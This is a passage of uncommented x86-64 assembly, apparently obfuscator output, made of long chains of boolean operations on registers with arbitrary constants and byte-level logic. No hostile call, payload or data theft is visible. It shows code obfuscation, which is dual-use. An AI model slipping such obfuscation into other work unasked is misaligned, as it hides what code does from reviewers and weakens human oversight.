and eax, ecx
or ecx, edi
not ecx
and edi, edx
or edi, eax
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x79ecb1ac
mov edx, edi
and edx, 0x86134e53
or edx, ecx
mov ecx, edx
xor ecx, 0x80000040
xor edx, 0x4988a084
mov ebp, edi
xor ebp, 0xcd9ae0c4
and ebp, edi
or edx, 0x32651f3b
mov ebx, ebp
not ebx
mov esi, edx
and esi, 0x357bfb00
and ecx, 0xc88000c4
or ecx, esi
or edx, ebx
and ebx, 0x357bfb00
and ebp, 0xca8404ff
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x32651f3b
and edx, 0xcd9ae0c4
or edx, ecx
mov ecx, edx
not ecx
mov r14d, ecx
or r14d, 0xfffffffe
mov ebp, r14d
not ebp
and ecx, 0xcae2d6e
and edx, 0xf351d291
or edx, ecx
mov ecx, edx
xor ecx, 0xa2503
xor edx, 0xf351d290
or r14d, edx
and edx, 0xaeb4086c
and ecx, 0x514bf793
or ecx, edx
or ebp, 0xaeb4086c
xor ebp, ecx
not r14d
or r14d, ebp
mov ecx, r14d
not ecx
mov edx, r14d
and edx, 0x1a331081
and ecx, 0xe5ccef7e
or ecx, edx
xor ecx, 0x1a331081
xor r14d, ecx
and r14d, ecx
mov ecx, eax
and ecx, 0xdc810614
mov edx, edi
and edx, 0x237ef9eb
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc71df633
and edx, 0x38e209cc
or edx, ecx
mov ecx, edx
xor ecx, 0xc0430200
xor edx, 0xa080023
and edx, 0x2e280dfb
and ecx, 0xd1d7f204
or ecx, edx
mov r15d, ecx
xor r15d, 0x8050f200
xor ecx, 0x2a200442
and ecx, 0x7ba70446
and r15d, 0x8458fbb9
or r15d, ecx
mov ecx, r15d
xor ecx, 0x8458fbb8
xor r15d, 0x8458fbb9
and r15d, ecx
and eax, 0x4d4adf18
and edi, 0xb2b520e7
or edi, eax
mov eax, edi
xor eax, 0xb2b520e6
and eax, 0xfffffffe
xor edi, 0x4d4adf19
or edi, eax
mov r11d, edi
not r11d
mov r9d, r15d
not r9d
mov eax, edi
and eax, 0x6bf15202
and r11d, 0x940eadfd
or r11d, eax
mov r10d, r11d
xor r10d, 0x940eadfd
mov esi, r15d
xor esi, 0xe0326369
mov ebp, esi
and ebp, r9d
and esi, r15d
mov eax, r11d
xor eax, 0x8bc3316b
and eax, r10d
or edi, 0xe0326369
mov edx, edi
not edx
mov ecx, ebp
not ecx
mov ebx, esi
not ebx
mov r12d, ecx
and r12d, 0xd5933b2e
and ebp, 0x2a6cc4d1
or ebp, r12d
or ecx, ebx
and ebx, 0xd5933b2e
and esi, 0x2a6cc4d1
or esi, ebx
xor esi, ebp
not ecx
or ecx, esi
mov esi, eax
not esi
mov ebx, esi
and ebx, 0x7c1cfcab
and eax, 0x83e30354
or eax, ebx
or esi, edi
and edi, 0x7c1cfcab
and edx, 0x3c10014
or edx, edi
xor edx, eax
not esi
or esi, edx
mov eax, ecx
not eax
and eax, 0x903b4750
and ecx, 0x6fc4b8af
or ecx, eax
mov eax, esi
not eax
and eax, 0x903b4750
and esi, 0x6fc4b8af
or esi, eax
xor esi, ecx
xor r11d, 0x6bf15202
mov eax, r15d
and eax, 0x6e7fb2aa
and r9d, 0x91804d55
or r9d, eax
or r15d, r11d
and r11d, 0x6e7fb2aa
and r10d, 0x91804d55
or r10d, r11d
xor r10d, r9d
not r15d
or r15d, r10d
mov eax, r15d
not eax
and eax, 0xa4b37a0d
and r15d, 0x5b4c85f2
or r15d, eax
xor r15d, 0x5b4c85f2
mov eax, esi
and eax, r15d
xor r15d, esi
or r15d, eax
mov r10d, r14d
not r10d
mov eax, r10d
and eax, 0x2451008
mov ecx, r14d
and ecx, 0xe99043d4
or ecx, eax
mov eax, ecx
xor eax, 0x81004000
xor ecx, 0x1227102a
mov edx, r10d
or edx, 0xebd553dc
mov esi, edx
not esi
and ecx, 0x7ab713fe
and eax, 0x81404000
or eax, ecx
and edx, 0x7ab713fe
and esi, 0x408ac01
or esi, edx
xor esi, eax
mov eax, esi
not eax
and eax, 0x142aac23
and esi, 0xebd553dc
or esi, eax
mov r11d, r15d
not r11d
mov eax, r15d
and eax, 0x479edeab
mov r12d, r11d
and r12d, 0xb8612154
or r12d, eax
mov r13d, r12d
xor r13d, 0x479edeab
mov r9d, esi
mov eax, esi
mov edi, esi
xor edi, 0xa51c6b2f
and edi, esi
not esi
and r9d, 0x54101518
mov edx, esi
and edx, 0xabefeae7
or edx, r9d
xor edx, 0x6aaab97e
mov ecx, esi
and ecx, 0x3ebaac66
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb5ebed3e
and ecx, 0x4a1412c1
or ecx, edx
mov r9d, ecx
xor r9d, 0x4a1412c1
and r10d, 0xf1219426
and r14d, 0xede6bd9
or r14d, r10d
mov ebp, r14d
xor ebp, 0xede6bd9
xor r14d, 0xb1210002
and r14d, 0xbdff6883
mov ebx, ebp
and ebx, 0x4200977c
or ebx, r14d
xor ebx, 0x7cba3b1a
and ebp, 0xc1455399
or ebp, ebx
mov r10d, ebp
not r10d
xor r12d, 0xb8612154
mov ebx, r13d
and ebx, 0x4708c106
mov edx, r12d
and edx, 0xb8f73ef9
or edx, ebx
xor edx, 0x79b26d60
mov ebx, r12d
and ebx, 0x3ebaac66
or ebx, edx
mov edx, ebx
not edx
and edx, 0xcfbc6bb8
and ebx, 0x30439447
or ebx, edx
mov edx, r11d
and edx, 0xc1455399
and r15d, 0x3ebaac66
or r15d, edx
mov r14d, ebx
xor r14d, 0x30439447
xor ebx, 0xcfbc6bb8
xor r11d, r15d
and r11d, r15d
xor ecx, 0xb5ebed3e
and r10d, ecx
or ecx, ebp
mov edx, ecx
not edx
and ebp, r9d
or ebp, r10d
mov r9d, ebp
not r9d
mov r10d, ecx
and r10d, 0x9fae584b
and edx, 0x6051a7b4
or edx, r10d
or ecx, r9d
and r9d, 0x9fae584b
and ebp, 0x6051a7b4
or ebp, r9d
xor ebp, edx
not ecx
or ecx, ebp
mov edx, r11d
not edx
and r11d, ebx
or ebx, edx
mov ebp, ebx
not ebp
and edx, r14d
or edx, r11d
mov r9d, edx
not r9d
mov r10d, ebx
and r10d, 0xe05e4d2b
and ebp, 0x1fa1b2d4
or ebp, r10d
or ebx, r9d
and r9d, 0xe05e4d2b
and edx, 0x1fa1b2d4
or edx, r9d
xor edx, ebp
not ebx
or ebx, edx
mov ebp, ecx
xor ebp, 0x64d13d7b
and ebp, ecx
not ecx
and ecx, 0x64d13d7b
mov edx, ebx
not edx
mov r9d, edx
and r9d, 0x44802068
and ebx, 0x20511d13
or ebx, r9d
mov r10d, ebx
xor r10d, 0x20411800
xor ebx, 0xd5ae6280
or edx, 0x64d13d7b
mov r9d, edx
not r9d
mov r11d, ecx
and r11d, ebp
xor ebp, ecx
or ebp, r11d
and ebx, 0xd5be6793
and r10d, 0x20411868
or r10d, ebx
and edx, 0xd5be6793
and r9d, 0xa008004
or r9d, edx
xor r9d, r10d
mov ecx, ebp
not ecx
and ecx, 0xd9164f51
and ebp, 0x26e9b0ae
or ebp, ecx
mov ecx, r9d
not ecx
and ecx, 0xd9164f51
and r9d, 0x26e9b0ae
or r9d, ecx
xor r9d, ebp
and esi, 0xf93b9bfb
and eax, 0x6c46404
or eax, esi
mov r10d, eax
xor r10d, 0x6c46404
mov ecx, r12d
and ecx, 0xf2f0eab4
and r13d, 0xd0f154b
or r13d, ecx
mov ecx, r13d
xor ecx, 0xd0f154b
xor eax, 0xa1180b2b
or eax, 0x5ae394d0
mov edx, eax
not edx
xor r13d, 0x57ec819b
and r13d, ecx
or r12d, 0xa51c6b2f
mov ebp, r12d
not ebp
mov esi, edi
not esi
mov ebx, eax
and ebx, 0xab294088
and edx, 0x4142b27
or edx, ebx
or eax, esi
and esi, 0xab294088
and edi, 0x54d6bf77
or edi, esi
xor edi, edx
not eax
or eax, edi
mov edx, r13d
not edx
mov ebx, edx
and ebx, 0x8a7058de
and r13d, 0x758fa721
or r13d, ebx
or edx, r12d
and r12d, 0x8a7058de
and ebp, 0x50838400
or ebp, r12d
xor ebp, r13d
not edx
or edx, ebp
mov ebp, eax
not ebp
and ebp, edx
not edx
and edx, eax
or edx, ebp
mov eax, r10d
and eax, ecx
xor ecx, r10d
or ecx, eax
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x200001af
mov edx, ecx
and edx, 0x4008240
or edx, eax
xor edx, 0x4008240
and ecx, 0xdbff7c10
or ecx, edx
mov eax, ecx
not eax
and eax, 0xdbff7c10
and ecx, 0x240083ef
or ecx, eax
mov eax, r9d
not eax
and eax, 0xb30b2cc3
mov edi, r9d
and edi, 0x4cf4d33c
or edi, eax
mov ebx, edi
xor ebx, 0x4cf4d33c
mov edx, ecx
not edx
and edx, 0xa0d22073
mov ebp, ecx
and ebp, 0x5f2ddf8c
or ebp, edx
mov edx, ebp
xor edx, 0x5f2ddf8c
xor edi, 0xb30b2cc3
mov eax, ebx
and eax, 0x30eaa0dc
and r9d, 0xcf155f23
or r9d, eax
mov eax, ebp
xor eax, 0x903880af
and eax, edx
and ecx, 0xcf155f23
mov esi, eax
and esi, ecx
xor ecx, eax
or ecx, esi
mov eax, r9d
not eax
and eax, ecx
not ecx
and ecx, r9d
or ecx, eax
xor ebp, 0xa0d22073
mov eax, edi
and eax, 0x76c70845
and ebx, 0x8938f7ba
or ebx, eax
or edi, ebp
and ebp, 0x76c70845
and edx, 0x8938f7ba
or edx, ebp
xor edx, ebx
not edi
or edi, edx
not edi
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov r10d, edi
not r10d
mov eax, r10d
and eax, 0x8a221c40
mov ecx, edi
and ecx, 0x81010c
or ecx, eax
xor ecx, 0x81010c
mov eax, edi
xor eax, 0x8aa31d4c
and eax, edi
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1e69890e
and eax, 0xe19676f1
or eax, ecx
mov ecx, eax
xor ecx, 0x4ca1402
and ecx, 0x47de15a6
xor eax, 0xd31481e4
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe52828eb
and eax, 0x1ad7d714
or eax, ecx
mov ebp, eax
xor ebp, 0x1ad7d714
xor eax, 0x600008e9
mov edx, r10d
and edx, 0x5cddada7
mov ecx, edi
and ecx, 0xa3225258
or ecx, edx
xor ecx, 0x1b03b801
or ecx, r10d
and eax, 0x68411af9
mov edx, ebp
and edx, 0x97bee506
or edx, eax
xor edx, 0x97bee506
mov eax, edx
mov ebx, ecx
mov esi, edx
and esi, ecx
xor edx, ecx
not ecx
and eax, 0x46982016
and ebp, 0xb967dfe9
or ebp, eax
and ebx, 0x46982016
and ecx, 0xb967dfe9
or ecx, ebx
mov eax, ebp
not eax
and eax, 0xbab7c7fb
and ebp, 0x45483804
or ebp, eax
mov eax, ecx
not eax
and eax, 0xbab7c7fb
and ecx, 0x45483804
or ecx, eax
xor ecx, ebp
or edx, esi
not edx
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
xor eax, 0x4a5e7b80
and eax, edx
or edx, 0xb5a1847f
mov ecx, edx
not ecx
mov ebp, eax
not ebp
mov ebx, edx
and ebx, 0x991d5b44
and ecx, 0x42422080
or ecx, ebx
or edx, ebp
and ebp, 0x991d5b44
and eax, 0x66e2a4bb
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xd806e26
and edx, 0xf27f91d9
or edx, eax
mov eax, edx
not eax
and eax, 0x222bec3
and edx, 0xfddd413c
or edx, eax
mov eax, edx
xor eax, 0xc9590128
xor edx, 0x202a080
and edx, 0x3686e094
and eax, 0xc9791f6b
or eax, edx
mov ecx, eax
xor ecx, 0x3686e094
xor eax, 0xc9791f6b
mov edx, eax
and edx, 0x1c002718
and eax, ecx
and ecx, 0xe3ffd8e7
or ecx, edx
xor ecx, 0xe3ffd8e7
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd8c1a893
and eax, 0x273e576c
or eax, ecx
mov esi, eax
xor esi, 0xc8c08811
xor eax, 0x23065520
and eax, 0x330775a2
and esi, 0xccf88a5d
or esi, eax
mov r11d, esi
xor r11d, 0x600014
mov eax, r10d
and eax, 0x4ecdba57
mov ecx, edi
and ecx, 0xb13245a8
or ecx, eax
mov eax, ecx
xor eax, 0x20300120
xor ecx, 0x4ecdba57
mov edx, ecx
and edx, 0xdf076e9c
and eax, 0x20f89163
or eax, edx
and edi, 0xdf076e9c
and r10d, 0x20f89163
or r10d, edi
xor r10d, eax
not r10d
or r10d, ecx
mov eax, r10d
not eax
mov ecx, esi
xor ecx, 0x330775a2
xor esi, 0xb00801
mov ebx, ecx
mov edx, ecx
and edx, 0xce98efeb
and r11d, 0x31671014
or r11d, edx
not r11d
or r11d, ecx
or ecx, 0x24f48c67
mov r15d, ecx
not r15d
or esi, 0x3012190
and esi, 0x23b12991
and ebx, 0x4448466
or ebx, esi
and ecx, 0x23b12991
and r15d, 0xd80a5208
or r15d, ecx
xor r15d, ebx
mov ecx, r15d
not ecx
and ecx, 0xdb0b7398
and r15d, 0x24f48c67
or r15d, ecx
mov ecx, r10d
and ecx, 0x9aa864b7
and eax, 0x65579b48
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x6976ae40
and eax, 0x968951bf
or eax, ecx
mov r9d, eax
xor r9d, 0xc213508
mov r14d, r15d
not r14d
mov ecx, r14d
and ecx, 0x31671014
mov edx, r15d
and edx, 0xce98efeb
or edx, ecx
not edx
or edx, r14d
mov esi, edx
not esi
mov ebx, r11d
not ebx
xor eax, 0xf3decaf7
mov ecx, eax
and ecx, 0x31671014
mov edi, r9d
and edi, 0xce98efeb
or edi, ecx
mov ebp, edi
xor ebp, eax
and ebp, edi
mov ecx, r10d
and ecx, 0xce98efeb
xor r10d, 0xce98efeb
or r10d, ecx
mov ecx, r10d
not ecx
mov edi, esi
xor edi, r11d
and edi, esi
and edx, 0xbd685526
and esi, 0x4297aad9
or esi, edx
and r11d, 0xbd685526
and ebx, 0x4297aad9
or ebx, r11d
xor ebx, esi
mov edx, edi
and edx, ebx
xor ebx, edi
or ebx, edx
mov edx, ebp
xor edx, r10d
and edx, ebp
mov edi, ebp
not edi
and edi, 0x148a7b54
and ebp, 0xeb7584ab
or ebp, edi
and r10d, 0x148a7b54
and ecx, 0xeb7584ab
or ecx, r10d
xor ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edi, ecx
xor edi, ebx
and ecx, edi
and edi, ebx
mov edx, ecx
and edx, edi
xor edi, ecx
or edi, edx
and r9d, r14d
or r14d, eax
not r14d
and eax, r15d
or eax, r9d
mov ecx, r14d
and ecx, eax
xor eax, r14d
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x7e45ddc3
and ecx, 0x81ba223c
or ecx, ebx
or eax, ebp
and ebp, 0x7e45ddc3
and edx, 0x81ba223c
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov esi, edi
not esi
mov ebp, eax
not ebp
mov r9d, esi
or r9d, ebp
mov edx, r9d
not edx
and esi, 0xdb4b147e
and edi, 0x24b4eb81
or edi, esi
and ebp, 0xdb4b147e
and eax, 0x24b4eb81
or eax, ebp
xor eax, edi
mov ebp, eax
not ebp
mov ecx, r9d
and ecx, 0x512056e2
and edx, 0xaedfa91d
or edx, ecx
or r9d, ebp
and ebp, 0x512056e2
and eax, 0xaedfa91d
or eax, ebp
xor eax, edx
not r9d
or r9d, eax
mov eax, r9d
not eax
mov ecx, eax
and ecx, 0x81100311
mov edx, r9d
and edx, 0xc108c
or edx, ecx
xor edx, 0xc108c
mov ecx, r9d
and ecx, 0x7ee3ec62
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7ee3ec62
and ecx, 0x811c139d
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x920e54fe
mov ebp, edx
and ebp, 0x6df1ab01
or ebp, ecx
xor ebp, 0x6df1ab01
or ebp, edx
mov ecx, ebp
not ecx
and ecx, 0x1723d7da
and ebp, 0xe8dc2825
or ebp, ecx
mov ebx, ebp
xor ebx, 0xe8dc2825
xor ebp, 0x620c04a
mov ecx, eax
and ecx, 0xd64750ba
mov edx, r9d
and edx, 0x29b8af45
or edx, ecx
xor edx, 0x29b8af45
or edx, eax
mov edi, edx
not edi
mov ecx, ebx
xor ecx, edx
and ecx, ebx
and ebp, 0x66f8e04f
and ebx, 0x99071fb0
or ebx, ebp
and edx, 0x66f8e04f
and edi, 0x99071fb0
or edi, edx
xor edi, ebx
mov edx, ecx
and edx, edi
xor edi, ecx
or edi, edx
and r9d, 0x3fd730e6
and eax, 0xc028cf19
or eax, r9d
xor eax, 0xc028cf19
mov ecx, eax
or ecx, edi
mov edx, ecx
not edx
xor eax, edi
not eax
and eax, edi
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0x7baffcd9
and edx, 0x84500326
or edx, ebx
or ecx, ebp
and ebp, 0x7baffcd9
and eax, 0x84500326
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
and ecx, edi
not edi
not eax
and edi, eax
or ecx, edi
xor eax, ecx
test eax, ecx
setne cl
sete al
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r8b
mov r11d, r8d
xor r11b, r9b
mov r10d, r11d
xor r10b, 1
mov esi, r9d
and sil, r11b
mov r15d, r9d
xor r15b, r11b
or sil, r15b
mov r12d, r11d
or r11b, r9b
xor r9b, r10b
not r9b
and r9b, r10b
xor r12b, r8b
not r12b
and r12b, r8b
xor r9b, 1
xor r12b, 1
mov ebx, r9d
xor bl, r12b
or r12b, r9b
xor r12b, 1
or r12b, bl
mov edx, esi
xor dl, r12b
xor r12b, 1
or r12b, sil
mov ebx, edx
xor bl, r12b
or r12b, dl
xor r12b, 1
or r12b, bl
mov r8d, eax
mov byte [rsp + 0x39], al
mov ebx, eax
mov r9d, ecx
mov byte [rsp + 0x3b], cl
xor bl, cl
mov edx, ebx
not dl
and dl, bl
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, r8b
mov ebx, r9d
or bl, dl
xor bl, 1
and cl, r9b
and dl, r8b
or dl, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov r9d, edx
xor r9b, 1
mov ecx, eax
xor cl, r9b
and cl, al
and r9b, al
xor al, 1
and dl, al
or r9b, dl
mov eax, ecx
xor al, 1
xor cl, r9b
xor r9b, 1
or r9b, al
xor r9b, 1
or r9b, cl
mov ecx, r12d
xor cl, 1
mov byte [rsp + 0x48], cl
mov r14d, r12d
and r14b, cl
mov r13d, r14d
xor r13b, 1
mov eax, r12d
xor al, r13b
or r13b, r12b
xor r13b, 1
or r13b, al
mov edx, r13d
xor dl, 1
mov byte [rsp + 0x3c], dl
or r12b, cl
mov eax, r12d
xor al, 1
mov ebx, edx
xor bl, r12b
and r12b, r13b
mov ecx, edx
and cl, al
or cl, r12b
or al, r13b
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
xor dl, al
xor dl, 1
or dl, al
mov eax, r11d
xor al, r15b
xor r15b, 1
xor al, 1
or r15b, r11b
xor r15b, 1
or r15b, al
mov ecx, r15d
xor cl, 1
mov r10d, ecx
and r10b, r15b
mov r8d, ecx
and r8b, r10b
xor r10b, cl
or r10b, r8b
mov r8d, r10d
xor r8b, 1
or cl, r15b
mov eax, ecx
xor al, 1
mov ebx, r10d
and bl, r8b
xor bl, 1
mov r11d, ebx
xor r11b, r8b
or bl, r8b
xor bl, 1
or bl, r11b
xor bl, al
xor bl, 1
xor cl, r8b
or al, r10b
xor al, 1
or al, cl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov esi, ecx
xor sil, 1
mov ebx, ecx
and bl, sil
mov eax, ebx
xor al, 1
xor bl, cl
or al, sil
xor al, 1
or al, bl
xor al, 1
or sil, cl
mov ecx, eax
xor cl, sil
or sil, al
xor sil, 1
or sil, cl
mov eax, r9d
xor al, 1
mov byte [rsp + 0x40], al
mov ebx, r9d
or bl, al
mov byte [rsp + 0x38], bl
mov r15d, r9d
and r15b, al
mov eax, r9d
and al, r15b
mov r12d, r9d
xor r12b, r15b
or r12b, al
mov ecx, r12d
xor cl, bl
mov byte [rsp + 0x3a], cl
mov eax, ecx
xor al, 1
mov r8d, r9d
and r8b, bl
xor r9b, bl
or r9b, r8b
or al, r9b
xor r9b, cl
xor r9b, 1
xor al, 1
or al, r9b
mov ebx, eax
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
mov ebx, ecx
or bl, r8b
mov eax, ebx
xor al, 1
and r8b, bl
and al, cl
or al, r8b
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov edi, eax
xor dil, 1
mov ecx, edi
and cl, al
xor cl, 1
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov r10d, edx
xor r10b, 1
or dil, al
xor dil, 1
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov eax, edi
xor al, 1
and dil, al
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov eax, edx
and al, r10b
mov ebp, eax
xor bpl, 1
mov ecx, eax
and cl, bpl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
xor cl, r10b
xor bpl, dl
or bpl, dl
xor bpl, 1
mov eax, ecx
and al, bpl
xor bpl, cl
or bpl, al
mov eax, esi
xor al, 1
mov ecx, eax
or cl, sil
mov ebx, ecx
and bl, sil
xor cl, sil
or bl, cl
xor bl, 1
mov r9d, ecx
and r9b, bl
xor bl, cl
or bl, r9b
and al, sil
mov ecx, esi
and cl, al
xor al, sil
or al, cl
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
mov esi, ebp
xor sil, 1
mov r11d, ebp
and r11b, sil
mov r9d, r11d
xor r9b, sil
and r9b, r11b
and dl, r9b
xor r9b, 1
mov eax, r9d
xor al, r10b
mov r8d, eax
xor r8b, r9b
and r8b, al
and r9b, r10b
or r9b, dl
mov eax, r8d
xor al, 1
xor r8b, r9b
xor r9b, 1
or r9b, al
xor r8b, 1
mov eax, r9d
xor al, r8b
or r8b, r9b
xor r8b, 1
or r8b, al
mov edx, ecx
xor dl, 1
mov eax, ecx
or al, dl
mov r9d, edx
or r9b, al
xor r9b, 1
xor al, dl
mov r10d, r9d
and r10b, al
xor al, r9b
or al, r10b
mov r10d, eax
xor r10b, 1
and r10b, al
xor r10b, 1
mov r9d, r10d
xor r9b, al
or r10b, al
xor r10b, 1
or r10b, r9b
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov r9d, eax
xor r9b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r9b
xor r10b, 1
xor cl, r10b
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
xor cl, 1
or cl, dl
mov r9d, r8d
xor r9b, 1
mov edx, r9d
or dl, r8b
mov eax, edx
xor al, 1
and al, r9b
and r8b, dl
or r8b, al
mov eax, edx
and al, r9b
xor dl, r9b
or dl, al
xor dl, 1
mov eax, r8d
and al, dl
xor dl, r8b
or dl, al
mov r8d, ecx
xor r8b, 1
and r8b, cl
xor r8b, 1
mov eax, ecx
xor al, r8b
or r8b, cl
xor r8b, 1
or r8b, al
mov eax, r8d
and al, dl
xor dl, 1
xor r8b, 1
and r8b, dl
or r8b, al
mov r9d, ebx
xor r9b, 1
mov eax, ebx
or al, r9b
mov edx, r9d
xor dl, al
xor al, 1
xor dl, 1
mov ecx, eax
or al, r9b
xor al, 1
or al, dl
xor cl, r9b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
and al, bpl
xor bpl, r11b
xor r11b, 1
or r11b, sil
xor r11b, 1
or r11b, bpl
xor dl, 1
and dl, sil
or dl, al
mov eax, r11d
xor r11b, bl
xor al, 1
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
mov ecx, eax
xor cl, r11b
xor r11b, 1
xor cl, 1
or r11b, al
xor r11b, 1
or r11b, cl
mov eax, r11d
xor al, 1
and al, r11b
xor al, 1
mov ecx, r11d
xor cl, al
or al, r11b
xor al, 1
or al, cl
xor al, dl
mov ecx, eax
xor cl, 1
and cl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
or dl, cl
mov ebx, edx
xor bl, 1
and bl, cl
or cl, dl
and dl, al
or dl, bl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, 1
mov ebx, r8d
xor bl, cl
or cl, r8b
xor cl, 1
or cl, bl
mov edx, ebx
xor dl, 1
mov r9d, edx
and r9b, bl
mov eax, edx
and al, r9b
xor r9b, dl
or r9b, al
mov eax, r9d
xor r9b, 1
and r9b, cl
xor dl, cl
xor cl, 1
and al, cl
or r9b, al
mov eax, edi
xor al, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, r9b
xor r9b, 1
xor dl, 1
or r9b, cl
xor r9b, 1
or r9b, dl
mov ecx, eax
and cl, dil
xor cl, 1
mov edx, edi
xor dl, cl
or cl, dil
xor cl, 1
or cl, dl
mov bl, byte [rsp + 0x3b]
mov edx, ebx
and dl, dil
xor dil, bl
xor bl, cl
mov r10d, ebx
xor r10b, 1
and r10b, cl
mov ecx, r10d
and cl, bl
xor r10b, bl
or r10b, cl
mov ecx, r10d
xor cl, 1
and r10b, cl
mov ebx, ecx
and bl, r10b
xor r10b, cl
or r10b, bl
or dil, dl
mov ecx, edi
xor cl, 1
mov edx, eax
mov bl, byte [rsp + 0x39]
and dl, bl
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and dl, dil
or dil, al
and al, cl
or al, dl
mov ecx, edi
xor cl, al
xor al, 1
xor cl, 1
or al, dil
xor al, 1
or al, cl
mov r8d, r10d
xor r8b, 1
mov esi, eax
xor sil, 1
mov r11d, r10d
or r11b, r8b
mov edx, r10d
xor dl, r8b
and dl, r10b
mov ebx, r11d
xor bl, dl
xor dl, 1
or dl, r11b
mov r11d, ebx
xor r11b, dl
or dl, bl
mov ecx, esi
or cl, al
xor dl, 1
or dl, r11b
mov ebx, ecx
xor bl, 1
mov r11d, eax
and r11b, cl
and bl, sil
or bl, r11b
or cl, sil
xor cl, 1
mov r11d, ecx
and r11b, bl
xor bl, cl
or bl, r11b
xor bl, 1
mov ecx, ebx
or cl, dl
xor bl, dl
xor bl, 1
and bl, dl
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
and al, sil
mov ecx, eax
and cl, sil
xor al, sil
or al, cl
and r10b, al
xor al, 1
and al, r8b
or al, r10b
mov ecx, r8d
xor cl, sil
or sil, r8b
xor sil, 1
or sil, cl
xor sil, 1
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
mov r10d, esi
xor r10b, 1
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
and r10b, sil
xor cl, 1
mov r8d, ebx
xor r8b, cl
or cl, bl
xor cl, 1
or cl, r8b
mov ebx, esi
and bl, r10b
xor r10b, sil
or r10b, bl
mov ebx, ecx
xor bl, 1
and bl, r10b
xor r10b, 1
and r10b, cl
or r10b, bl
mov ecx, edx
and cl, sil
xor dl, sil
or dl, cl
xor r10b, 1
mov ecx, r10d
xor cl, dl
or r10b, dl
xor r10b, 1
or r10b, cl
mov r8d, r9d
mov esi, r9d
mov r11d, r10d
xor r11b, 1
mov ecx, r11d
or cl, r10b
mov ebx, r10d
and bl, r11b
mov eax, ebx
xor al, 1
xor bl, r10b
or al, r11b
xor al, 1
or al, bl
xor al, cl
xor al, 1
mov ebx, ecx
and bl, r11b
xor cl, r11b
or cl, bl
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
mov eax, r9d
or cl, bl
mov edi, ecx
xor dil, 1
and dil, r9b
xor r9b, 1
or r8b, r9b
and sil, r9b
xor al, sil
xor sil, 1
or sil, r9b
